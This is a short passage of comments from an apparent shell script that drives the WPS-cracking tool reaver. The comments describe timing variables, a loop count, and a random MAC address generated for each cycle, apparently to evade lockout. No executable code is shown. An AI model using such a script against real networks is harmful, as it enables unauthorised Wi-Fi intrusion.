  958.     # $LIVE = Sets the time reaver is active. Must be shorter then $TIMDELAY above.
  959.     # $COUNT = The scrip uses a loop. Each loop takes approx five minutes and each
  960.     #    loop cycle has it's own random mac code.
  961.     # #VARMAC = Random mac which changes each loop cycle.
  962.     ##################################################################################